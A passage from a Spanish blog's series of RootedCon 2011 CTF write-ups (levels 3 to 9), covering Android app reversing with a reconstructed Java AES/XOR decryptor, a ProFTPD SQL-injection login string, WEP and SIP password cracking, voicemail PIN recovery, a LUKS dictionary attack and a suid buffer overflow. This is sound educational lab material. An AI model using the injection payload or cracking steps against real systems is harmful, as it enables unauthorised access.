Luego probé a recompilar tocando lo mínimo, volver a empaquetar y subir el emulador. Tampoco hubo suerte.

Otra opción era modificar los ficheros SMALI. Imposible, porque eran demasiados cambios los que teníamos que hacer y el código está muy ofuscado.

Lo siguiente que se me ocurrió fue recompilar la aplicación usando Eclipse. Esto funcionó y estuve un rato jugando con el emulador, pero tampoco logré resolver nada (supongo que por mi inexperiencia en Java).

Así que no quedó otra que reconstruir las funciones y generar un único fichero, para poderlo usar desde el PC. En realidad sólo terminaremos usando 4 funciones:

  • hexStringToByteArray()
  • readRes()
  • x()
  • decrypt()

La cosa no fue tan dura como pintaba, aunque sí que dieron guerra algunas cosas:

En esta función vemos context.getString(2130968578) y resulta que es una función de Android, por lo que había que averiguar qué hace exactamente.

Buscando en Google llegué a esta página:

http://developer.android.com/reference/android/content/Context.html que dice:

getString(int resId)

Return a localized string from the application’s package’s default string table.

Buscando dónde coge ese valor llegué hasta R.java, en donde aparece:

Así que pensé que era ese valor: 2130968578. Nada más lejos de la realidad. Tras perder bastante tiempo, resultó que xxx toma su valor en el fichero strings.xml, que podemos encontrar dentro de /res/values/:

Otra función a retocar era x(), que quedó así:

Aquí lo que me dio guerra fue ese str1 = c

Yo pensé que copiaba en el String el valor del Char, es decir:

str1 = String.valueOf(c)

Esto provocaba que la función siempre devolviera un byte[1].

Tras mucho pelear, resultó faltarme un puñetero más (+), es decir:

str1 += String.valueOf(c)

Lo que debe hacer es concatenar los caracteres que va sacando y no quedarse con el último, que es lo que me estaba ocurriendo a mi

Tras ejecutar el programa obtenemos la ansiada contraseña, en decimal:

Que en ASCII resulta ser: IwantToWinTheCTF

El código completo del Java que me dio la solución es este:

import java.io.IOException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import java.util.Arrays;

public class reto9 {
	public static void main(String[] args) {
		scan();
}

	public static void scan()  {
		byte[] arrayOfByte1 = new byte[14];
    	arrayOfByte1[0] = 105;
    	arrayOfByte1[1] = 108;
    	arrayOfByte1[2] = 111;
    	arrayOfByte1[3] = 118;
    	arrayOfByte1[4] = 101;
    	arrayOfByte1[5] = 114;
    	arrayOfByte1[6] = 111;
    	arrayOfByte1[7] = 111;
    	arrayOfByte1[8] = 116;
    	arrayOfByte1[9] = 101;
    	arrayOfByte1[10] = 100;
    	arrayOfByte1[11] = 99;
    	arrayOfByte1[12] = 111;
    	arrayOfByte1[13] = 110;
    	Object localObject = "";
	 	byte[] arrayOfByte11 = hexStringToByteArray("c135559de69f3f57b9d6d70729912f7060cdc4e27358b22bcc1eb54b4c941266");

		int cont = 0;
      byte[] arrayOfByte6 = readRes();
      byte[] arrayOfByte7 = arrayOfByte1;
      String str2 = x(arrayOfByte6, arrayOfByte7);

      localObject = str2;
      byte[] arrayOfByte77 = str2.getBytes();

		while (cont<100) {
    		try  {
          	byte[] arrayOfByte9 = ((String)localObject).getBytes();
//          byte[] arrayOfByte10 = encrypt(arrayOfByte8, arrayOfByte9);
          	byte[] arrayOfByte10 = decrypt(arrayOfByte11, arrayOfByte9);

   			int i = 0;

				while (i < arrayOfByte10.length) {
					System.out.print(arrayOfByte10[i]+" ");
					i += 1;
				}

				System.out.println();
				return;
			}
      	catch (Exception localException) {
				System.out.println(localException.getMessage());
      	}

      	String str3 = String.valueOf(localObject);
      	str2 = str3 + "0";
      	localObject = str2;
      	cont += 1;
		}
	}

	public static byte[] readRes() {
//    	String str1 = this.context.getString(2130968578);
    	String str1 = "1B03000200160C001A170B00041D48";
    	byte[] arrayOfByte = new byte[str1.length() / 2];
    	int i = 0;

    	while (true) {
      	int j = arrayOfByte.length;

      	if (i >= j) {
        		String str2 = new String(arrayOfByte);
        		return arrayOfByte;
      	}

      	int k = i * 2;
      	int m = i * 2 + 2;
      	int n = (byte)Integer.parseInt(str1.substring(k, m), 16);
      	arrayOfByte[i] = (byte)n;
      	i += 1;
    	}
  	}

	public static String x(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2) {
   	String str1 = "";
    	int i = 0;

    	while (true) {
      	int j = paramArrayOfByte1.length;

      	if (i >= j)
        		return str1;

      	String str2 = String.valueOf(str1);
      	StringBuilder localStringBuilder = new StringBuilder(str2);
      	int k = paramArrayOfByte1[i];
      	int m = paramArrayOfByte2.length;
      	int n = i % m;
      	int i1 = paramArrayOfByte2[n];
      	char c = (char)(byte)(k ^ i1);
			StringBuffer sb = new StringBuffer(40);
//      	str1 = c;
      	str1 += String.valueOf(c);
      	i += 1;
    	}
  	}

  	public static byte[] encrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
   	throws NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException, NoSuchAlgorithmException {
   	Cipher localCipher = Cipher.getInstance("AES");
    	SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramArrayOfByte2, "AES");
    	localCipher.init(1, localSecretKeySpec);
    	return localCipher.doFinal(paramArrayOfByte1);
  	}
	public static byte[] decrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
   	throws NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException, NoSuchAlgorithmException {
    	Cipher localCipher = Cipher.getInstance("AES");
    	SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramArrayOfByte2, "AES");
    	localCipher.init(2, localSecretKeySpec);
    	return localCipher.doFinal(paramArrayOfByte1);
  	}

  	public static byte[] hexStringToByteArray(String paramString) {
	   int i = paramString.length();
    	byte[] arrayOfByte = new byte[i / 2];
    	int j = 0;

    	while (true) {
      	if (j >= i)
        		return arrayOfByte;

      	int k = j / 2;
      	int m = Character.digit(paramString.charAt(j), 16) << 4;
      	int n = j + 1;
      	int i1 = Character.digit(paramString.charAt(n), 16);
      	int i2 = (byte)(m + i1);
      	arrayOfByte[k] = (byte)i2;
      	j += 2;
    	}
       }
}

 

RootedCon CTF writeup niveles 7 y 8

Jueves, abril 14th, 2011

Reto 7

Este reto era de ingeniería social y trataba de localizar a alguien. Ahora la prueba está deshabilitada y se pasa de forma rápida:

——————–

La prueba 7 se ha eliminado ya que es necesario estar en la rooted para completarla, es de ingeniería social… y bueno… no es necesario llamar a ese teléfono,… así que para saltarte la prueba este es el resultado de la prueba 7:

——————–

La imagen que había inicialmente era esta:

Así que ahora en lugar de ingeniería social tenemos una imagen que no sabemos si es la que han subido para el reto o es que el enlace está mal. Vamos a http://imageupload.org y cargamos cualquier número aleatorio, con lo que obtenemos la misma imagen. La descargamos y hacemos un diff con la que tenemos y vemos que son iguales. Por tanto, lo que está mal es el enlace a la foto, que supongo será parte del reto.

Bueno, tras un rato probando cosas resultó que el enlace estaba mal porque imageupload no funciona bien y esto no era parte del reto. Así que tras avisar a Pablo, subió bien la imagen, que era un código de barras:

Así que lo leemos desde Linux con el Zbarimg:

La solución para pasar el reto es: 2887188576

Reto 8

El número obtenido en el reto anterior resulta ser una dirección IP, en decimal: 172.23.0.96, que se puede obtener en esta web:

http://www.kloth.net/services/iplocate.php

Hacemos un escaneo a esa web para ver los puertos abiertos:

Nos conectamos como anónimo por FTP a ver qué hay:

El fichero proftpd-howto.conf trae lo siguiente:

La verdad es que me recuerda mucho al reto de Security by Default :)

Tenemos información del bug disponible aquí:

http://www.exploit-db.com/exploits/8037/

Consigo acceder con:

user: USER%’) and 1=2 union select 1,1,uid,gid,homedir,shell from ftpuser #

pas: 1

pero veo los mismos datos que antes:

Así que vamos a añadir un LIMIT 1,1 para ver si accedemos con otro usuario:

Por tanto, la clave para el siguiente reto es: I have to drink some beers


RootedCon CTF writeup niveles 5 y 6

Lunes, abril 4th, 2011

Esta vez voy a subir la solución de dos retos en lugar de uno sólo, ya que el nivel 5 es fácil fácil (el más fácil de todo el CTF) … como dijo Pablo Catalina, este venía de regalo xDD

Reto 5

Para este reto tenemos que continuar por donde dejamos el anterior, como viene siendo habitual. Así que vamos a ver lo que trae esa imagen de disco:

Tras abrir el CAP con el wireshark vemos que tiene toda la pinta de ser una captura de una red wifi con encriptación WEP:

Por tanto, vamos a lanzar el aircrack-ng a ver si sacamos la clave:

Como se puede ver, la clave es: 01:01:01:01:01:01:01:01:01:01:01:01:01

Y la contraseña para pasar el reto: 01010101010101010101010101

Reto 6

Ya que tenemos la clave WEP (que por cierto, era de lo más sencilla), vamos a obtener el paquete sin cifrar:

Esto nos genera un nuevo fichero, ya descifrado (captura1-01-dec.cap) con 75.325 paquetes, nada menos. Lo abrimos con Wireshark y vemos que hay muchísimos paquetes TCP con basura (SYN, ACK, RST) pero ningún PSH con información útil. Esto supongo que lo harían para generar algo de tráfico y hacer efectivo un ataque con Aircrack-ng y así poder sacar fácilmente la clave WEP, por lo que vamos a aplicar algunos filtros que nos limpien un poco la basura:

Filtro: tcp.flags.push==1

0 resultados

Como comentaba antes, todos los paquetes TCP están de relleno, así que vamos a quitarlos, junto con los ARP e ICMP:

Filtro: !arp && !icmp && !tcp

17.075 resultados

Siguen apareciendo demasiados paquetes, pero ahora vemos algunas cosas interesantes. Parece que hay capturas de VoIP, así que vamos a filtrar esas capturas:

Filtro: ip.src eq 172.23.0.9 || ip.dst eq 172.23.0.9

Bien, pues parece que tenemos un bonito Asterisk tras todas esas tramas de datos y, como Wireshark trae una herramienta muy buena para VoIP, vamos a usarla. Entramos en Telephony -> VoIP Calls:

Tras escuchar cada una de las conversaciones repetidas veces, me quedo con los siguientes detalles:

  1. Alguien llama a un buzón de voz para escuchar los mensajes. Tenemos los sonidos de dos pines que se introducen.
  2. Parece que dejan el número de teléfono que buscamos en un buzón de voz y no se escucha en las conversaciones de voz capturadas.

——————————

Nota: Yo me quedé aquí en este punto cuando el CTF llegó a su fin. El resto de retos los hice ya desde casa, relajado en una buena silla :)

Me quedé atascado porque no le encontré mucho sentido a lo que estaba pasando, es decir, el mensaje decía algo como: ‘… llámame al número de teléfono’ y se cortaba. Luego veremos que el resto del mensaje está en el buzón de voz. La verdad es que no entiendo cómo si alguien deja un mensaje en un buzón de voz, se captura una parte sólo de ese mensaje, pues debería o capturarse todo o no capturarse nada.

Esto me llevó a pensar que era un problema de ruido, así que me dediqué a descargar las voces, convertirlas a WAV y perder mucho tiempo con el Audacity.

——————————

Bien, pues continuando con el reto, parece ser que tenemos que acceder al buzón de voz del usuario para escuchar el número de teléfono que deja como mensaje. Para poder acceder al buzón de un usuario necesitamos 2 cosas. Los datos del usuario (incluida su contraseña) y su PIN. Vamos con ello:

Para extraer los datos del usuario usamos sipdump y sipcrack:

Tras pasar varios diccionarios obtuve las claves de ambos usuarios, que son:

Para el user 1001: 0000aa

Para el user 1002: aa0000

Nota: las claves para cada usuario son las mismas a pesar de tener diferente hash, lo cual nos indica que el MD5 usa algún salt.

Para averiguar el PIN, primero extraemos las voces. En el Wireshark vamos a Telephony -> RTP -> Show All Streams. Luego seleccionamos el paquete y damos a Analyze. Después, Save Payload y guardamos con formato AU.

Abrimos con el Audacity y recortamos la parte que nos interesa:

Una vez que hemos recortado los 2 pines que hemos encontrado, los desciframos con Multimon (click para agrandar la imagen):

El pin de pownme es: 987321

El pin de lamde es: 123654

El siguiente paso es conseguir un software para conectar con el Asterisk. Vamos a usar para ello el Twinkle, que está en el repositorio de Debian.

Si te atascas instalándolo, aquí hay un bonito tutorial:

http://openmaniak.com/trixbox_phone.php#twinkle

Nos conectamos a ambos buzones y en el de lamde escuchamos el número de teléfono que buscábamos y que es la clave para pasar al siguiente reto: 666.699.004


RootedCon CTF writeup nivel 4

Viernes, abril 1st, 2011

Reto 4

Accedemos ahora a la shell de este usuario (pownme) con un su, o simplemente haciendo otra conexión por ssh:

Y vemos lo que tiene en su directorio y a lo que no teníamos acceso:

El fichero comprimido, que descargamos con un scp desde nuestra máquina, parece tener una imagen de un disco que ha sido cifrada con LUKS usando SHA256. Esto lo vemos haciendo un head del fichero o abriéndolo con un editor hexadecimal.

Según la Wikipedia (http://es.wikipedia.org/wiki/LUKS):

——————–

LUKS (de las siglas en inglés, Linux Unified Key Setup) es una especificación de cifrado de disco creado por Clemens Fruhwirth, originalmente destinado para Linux. Mientras la mayoría del software de cifrado de discos implementan diferentes e incompatibles formatos no documentados, LUKS especifica un formato estándar en disco, independiente de plataforma, para usar en varias herramientas. Esto no sólo facilita la compatibilidad y la interoperabilidad entre los diferentes programas, sino que también garantiza que todas ellas implementen gestión de contraseñas en un lugar seguro y de manera documentada.

La implementación de referencia funciona en Linux y se basa en una versión mejorada de cryptsetup, utilizando dm-crypt como la interfaz de cifrado de disco. En Microsoft Windows, los discos cifrados con LUKS pueden ser utilizados con FreeOTFE. Ha sido diseñado para ajustarse a la clave de configuración TKS1 de sistema seguro.

——————–

Pues vamos a tratar de montar esa imagen, de la que por cierto, no tenemos la contraseña ….

Yo nunca había encriptado una unidad por lo que tras documentarme en Google, al final hice:

Una vez tenemos los módulos de crypt, vamos a tratar de montar la imagen. Para ello usaremos loop, que asigna una imagen a un dispositivo, lo que nos permitirá tratarlo como una unidad.

Para ver el primer dispositivo loop libre:

Para usar el dispositivo (con esto asociamos /dev/loop0 con nuestra imagen):

Luego tratamos de montar la imagen (si fuera una imagen normal usaríamos el comando mount, pero al tratarse de un LUKS, debemos usar cryptsetup):

Parece que la imagen está dañada ya que no la reconoce como LUKS. Tras buscar información sobre el formato y compararla con nuestra imagen, vemos claramente que hay una serie de ceros en la cabecera (antes de la palabra LUKS) que no deberían estar, por lo que hacemos una copia de la imagen (por si las moscas) y modificamos esta quitando todos esos ceros:

Para probarlo, desasociamos el dispositivo y lo volvemos a asociar:

Bueno, pues parece que ya tenemos resuelto el primer problema. Ahora queda averiguar cuál es la contraseña. Para ello me creé un pequeño script en Perl:

Lo que hace este script es probar las palabras de un diccionario, parando si consigue montar la unidad. Para ello:

  1. Cargamos el diccionario.
  2. Ejecutamos con un system el cryptsetup usando un pipe y así no tener que meter la contraseña escribiéndola desde la línea de comandos.
  3. Miramos en /dev/mapper si se ha montado el dispositivo, tras lo cual paramos el script y mostramos la última contraseña que se probó, que deberá ser la buena.

Tras unos minutos corriendo con un diccionario de palabras comunes, obtenemos la contraseña, que es: key y que nos sirve para pasar al reto siguiente.

RootedCon CTF writeup nivel 3

Viernes, marzo 25th, 2011

Reto 3

Como vimos en el reto anterior, tenemos corriendo un knockd que nos abre un ssh en el puerto 22.

Si no sabes lo que es el port knocking puedes ver cómo funciona aquí: http://es.wikipedia.org/wiki/Golpeo_de_puertos

Como resumen, diré que se trata de un mecanismo de seguridad que oculta ciertos servicios y los abre recibiendo una secuencia mágica de números.

En este caso, todos los puertos que espera knockd son TCP, por lo que para que nos de acceso, le mandaremos la secuencia mágica, para posteriormente conectarnos por ssh:

Accedemos con nuestro usuario y contraseña:

Y analizamos un poco el entorno.

En nuestro directorio no vemos nada de utilidad pero si retrocedemos un directorio, en /home/ hay un segundo usuario cuyo nombre nos incita a entrar :) … su nombre es: pownme

Así que accedemos a su carpeta personal y hacemos un ls -la para ver lo que hay dentro:

Aquí vemos varias cosas interesantes:

  • Un binario que podemos ejecutar con suid de pownme.
  • Un fichero de configuración al que no tenemos acceso.
  • Otro fichero comprimido al que tampoco tenemos acceso.

Todo apunta a que hay que hacer una escalada de privilegios para llegar a ver el contenido de ese fichero comprimido, así que vamos a ver qué hace el binario:

Bueno, pues está claro que se trata de un overflow. Llegados a este punto necesitamos obtener algo de información para ver con qué nos enfrentamos, si tenemos que crear un exploit o simplemente hay que machacar algún dato.

Sacamos algo de información del sistema:

A primera vista ya nos encontramos con varios problemas:

  • Por un lado se trata de una arquitectura de 64 bits.
  • Por otro lado, tenemos activado el randomize_va_space.
  • El binario no tiene permisos de lectura, por lo que no podemos descargarlo a nuestra máquina y usar luego el EDB, IDA Pro o nuestro debugger favorito.
  • No hay ningún depurador instalado en la máquina, por lo que tampoco podemos depurar ahí.

Llegados a este punto sólo nos queda probar a mano:

Tras realizar varias pruebas al final vemos algo interesante introduciendo el usuario seguido de diferentes \x01:

Vemos que ya no da error de permisos pero tampoco saca los datos completos. Así que vamos a probar con \x02:

Y ya, por curiosidad, si ponemos un \x03:

Pues parece hemos sobrescrito en número de líneas a imprimir, a parte de otra cosa, que nos permite ver los datos de otro usuario.

Introducimos el usuario y la contraseña obtenida para pasar el reto: pownme:c@r@m3l0_0.o

———————————————————————————-

Nota: La verdad es que no comprendí muy bien cómo pasé el reto ya que fui probando bytes hasta que ‘de casualidad’ me apareció la contraseña por pantalla.

Ya, por mera curiosidad y, en casita, me descargué el binario (ahora que ya tenemos la contraseña de pownme, es fácil :) y lo abrí con IDA Pro para analizarlo un poco).

Abrimos el binario con el IDA Pro para 64 bits y echamos un ojo al contenido.

>>>> Antes de nada, si meto la pata no me fustiguéis, que los binarios de 64 bits en Linux no son precisamente mi fuerte :P <<<<

Bien, pues de momento nos encontramos una función llamada get_value(), que tras entrar en ella podemos ver:

En la cabecera de la función vemos la inicialización de los parámetros usados, que por comodidad he renombrado:

  • nombreDeUsuario es el parámetro de entrada, donde escribimos el nombre de usuario.
  • bufferValidacion (igual el nombre que le he puesto resulta lioso) es, digamos, el umbral a partir del cual te dice si eres un Bad Boy.
  • UIDUsuario es donde se guarda el resultado de la llamada a _getuid.

Un poco más abajo vemos cómo, tras el _getuid, guarda un 0 si no tenemos permisos o un 1 si los tenemos, es decir, por defecto, con el usuario lamde, nos dejaría un 0 y no podríamos ver los datos de pownme:

Y más abajo aún tenemos la verificación de lo que he llamado bufferValidacion, que tendría el valor con el que sobrescribimos pasados los 12 bytes primeros. Y en caso de ser menor de 3, nos aparece el mensaje de ‘Bad Kid’:

Por último, tenemos la verificación de lo que almacenamos anteriormente en UIDUsuario, que como vimos, era un 0 si no tenemos acceso, y un 1 si lo tenemos:

Como podemos apreciar, si vale 0 nos manda al mensaje de ‘You can’t touch this!’ y, en caso contrario, nos mostrará los datos del usuario.

En resumen, nuestra finalidad es cambiar el valor de UIDUsuario para que nos deje mostrar los datos de pownme, pero saltándonos el filtro de bufferValidacion que nos lleva por otro camino para mostrarnos la frase Bad Kid.

Por tanto, una forma de pasarlo directamente sería introduciendo (clickea en la imagen para ampliar):

donde \x70\x6f\x77\x6e\x6d\x65 es pownme.

———————————————————————————-